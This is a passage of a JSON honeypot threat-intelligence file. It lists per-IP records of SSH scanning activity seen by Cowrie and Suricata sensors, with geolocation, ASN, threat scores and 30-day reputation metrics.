      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:39:39.175000+00:00",
        "last_seen_30d": "2026-05-23T02:37:43.897000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.172.133": {
      "attack_count": 6,
      "first_seen": "2026-05-06T16:39:55.443Z",
      "last_seen": "2026-05-06T16:40:30.066Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 30,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T03:52:45+00:00",
        "last_seen_30d": "2026-05-31T22:07:42.953000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 135,
        "Honeytrap": 56,
        "ElasticPot": 9,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "66.132.172.97": {
      "attack_count": 6,
      "first_seen": "2026-05-23T09:30:13.847Z",
      "last_seen": "2026-05-23T09:30:54.034Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T15:24:03+00:00",
        "last_seen_30d": "2026-05-31T05:01:11.492000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 51,
        "Miniprint": 7,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 3,
        "Honeyaml": 3,
        "H0neytr4p": 2,
        "Dicompot": 1,
        "Ipphoney": 1
      }
    },
    "103.171.69.111": {
      "attack_count": 5,
      "first_seen": "2026-05-21T19:50:23.205Z",
      "last_seen": "2026-05-21T19:50:25.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "wuhan"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:50:23.205000+00:00",
        "last_seen_30d": "2026-05-21T19:51:31.634000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "172.210.81.91": {
      "attack_count": 5,
      "first_seen": "2026-05-21T08:24:16.772Z",
      "last_seen": "2026-05-21T08:24:27.175Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T03:18:01+00:00",
        "last_seen_30d": "2026-05-28T10:47:17.614000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 5,
        "Honeytrap": 4,
        "ElasticPot": 1
      }
    },
    "142.93.251.28": {
      "attack_count": 4,
      "first_seen": "2026-05-24T11:55:24.745Z",
      "last_seen": "2026-05-24T11:55:25.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:55:24.745000+00:00",
        "last_seen_30d": "2026-05-24T11:56:26.245000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.115": {
      "attack_count": 4,
      "first_seen": "2026-05-24T04:10:59.781Z",
      "last_seen": "2026-05-24T04:11:03.271Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 23,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-08T04:22:38+00:00",
        "last_seen_30d": "2026-05-30T21:23:27.050000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 17,
        "Adbhoney": 4,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "194.187.178.17": {
      "attack_count": 4,
      "first_seen": "2026-05-17T11:46:49.746Z",
      "last_seen": "2026-05-17T11:46:50.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:29:45.838000+00:00",
        "last_seen_30d": "2026-05-17T11:47:52.568000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "64.62.156.213": {
      "attack_count": 4,
      "first_seen": "2026-05-20T13:43:37.018Z",
      "last_seen": "2026-05-20T13:43:41.018Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 68.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 27,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T14:25:09.440000+00:00",
        "last_seen_30d": "2026-05-30T02:26:39.761000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "65.49.1.144": {
      "attack_count": 4,
      "first_seen": "2026-05-05T16:41:52.221Z",
      "last_seen": "2026-05-05T16:41:56.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:20:35+00:00",
        "last_seen_30d": "2026-05-31T02:54:23.317000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 4,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "66.240.236.116": {
      "attack_count": 4,
      "first_seen": "2026-05-02T06:54:52.188Z",
      "last_seen": "2026-05-06T17:05:28.019Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 27,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T06:54:52.188000+00:00",
        "last_seen_30d": "2026-05-28T03:38:40.293000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 7,
        "Redishoneypot": 6,
        "Dionaea": 5,
        "Cowrie": 4,
        "ElasticPot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "90.212.215.13": {
      "attack_count": 4,
      "first_seen": "2026-05-04T11:45:03.978Z",
      "last_seen": "2026-05-04T11:47:06.234Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Birmingham",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:45:03.978000+00:00",
        "last_seen_30d": "2026-05-04T11:57:44.321000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "156.251.179.157": {
      "attack_count": 3,
      "first_seen": "2026-05-03T01:10:00.986Z",
      "last_seen": "2026-05-03T01:10:01.485Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:08:15.311000+00:00",
        "last_seen_30d": "2026-05-31T18:45:50.973000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 264,
        "Cowrie": 3
      }
    },
    "105.117.23.5": {
      "attack_count": 2,
      "first_seen": "2026-05-04T13:12:41.477Z",
      "last_seen": "2026-05-04T13:14:41.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Abuja",
      "asn": 36873,
      "as_org": "Celtel Nigeria Limited t.a ZAIN",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:12:41.477000+00:00",
        "last_seen_30d": "2026-05-04T13:15:52.138000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.32.135.1": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:14:33.789Z",
      "last_seen": "2026-05-26T00:14:47.754Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T00:14:33.789000+00:00",
        "last_seen_30d": "2026-05-26T00:15:54.537000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.99.164.81": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:03:32.151Z",
      "last_seen": "2026-05-05T11:03:50.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:03:32.151000+00:00",
        "last_seen_30d": "2026-05-05T11:04:57.090000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.86.101.231": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:14:21.073Z",
      "last_seen": "2026-05-06T16:14:52.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:14:21.073000+00:00",
        "last_seen_30d": "2026-05-06T16:15:57.572000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "136.53.38.231": {
      "attack_count": 2,
      "first_seen": "2026-05-31T06:01:21.215Z",
      "last_seen": "2026-05-31T06:01:39.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Huntsville",
      "asn": 16591,
      "as_org": "Google Fiber Inc.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:01:21.215000+00:00",
        "last_seen_30d": "2026-05-31T06:02:43.067000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "149.100.146.65": {
      "attack_count": 2,
      "first_seen": "2026-05-27T02:47:19.051Z",
      "last_seen": "2026-05-27T02:47:31.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 273039,
      "as_org": "Tecnologia del Presente 18, C.A",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:47:19.051000+00:00",
        "last_seen_30d": "2026-05-27T02:48:34.301000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.227.198": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:55:43.149Z",
      "last_seen": "2026-05-17T07:55:55.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:55:43.149000+00:00",
        "last_seen_30d": "2026-05-17T07:56:59.990000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.29.28.57": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:57:36.261Z",
      "last_seen": "2026-05-12T16:57:48.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 48832,
      "as_org": "Jordanian mobile phone services Ltd",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:57:36.261000+00:00",
        "last_seen_30d": "2026-05-12T16:58:51.980000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.128.122.9": {
      "attack_count": 2,
      "first_seen": "2026-05-08T20:23:13.469Z",
      "last_seen": "2026-05-08T20:23:28.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Maracaju",
      "asn": 52870,
      "as_org": "Disk Sistema Telecomunicacoes Ltda.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:23:13.469000+00:00",
        "last_seen_30d": "2026-05-08T20:24:35.235000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.185.78.32": {
      "attack_count": 2,
      "first_seen": "2026-05-06T00:46:06.415Z",
      "last_seen": "2026-05-06T00:46:06.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salinas",
      "asn": 52928,
      "as_org": "NORTETEL TELECOMUNICACOES LTDA",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:46:06.415000+00:00",
        "last_seen_30d": "2026-05-06T00:47:16.812000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "181.126.184.61": {
      "attack_count": 2,
      "first_seen": "2026-05-27T00:25:04.260Z",
      "last_seen": "2026-05-27T00:27:04.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:25:04.260000+00:00",
        "last_seen_30d": "2026-05-27T00:28:43.948000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "183.134.155.183": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:24:12.836Z",
      "last_seen": "2026-05-22T00:24:25.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:24:12.836000+00:00",
        "last_seen_30d": "2026-05-22T00:25:34.312000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.194.193.173": {
      "attack_count": 2,
      "first_seen": "2026-05-10T07:09:02.267Z",
      "last_seen": "2026-05-10T07:09:18.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Friburgo",
      "asn": 53142,
      "as_org": "Friburgo Online LTDA ME",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:09:02.267000+00:00",
        "last_seen_30d": "2026-05-10T07:10:22.211000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.116.163.124": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:57:24.030Z",
      "last_seen": "2026-05-08T06:57:36.706Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Oryol",
      "asn": 34629,
      "as_org": "Resurs-Svyaz Ltd",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:57:24.030000+00:00",
        "last_seen_30d": "2026-05-08T06:58:37.374000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.219.64.50": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:49:11.931Z",
      "last_seen": "2026-05-07T05:49:24.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Nicol\u00e1s de los Garza",
      "asn": 265594,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:49:11.931000+00:00",
        "last_seen_30d": "2026-05-07T05:50:31.820000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.180.153.254": {
      "attack_count": 2,
      "first_seen": "2026-05-24T23:56:16.254Z",
      "last_seen": "2026-05-24T23:56:29.018Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
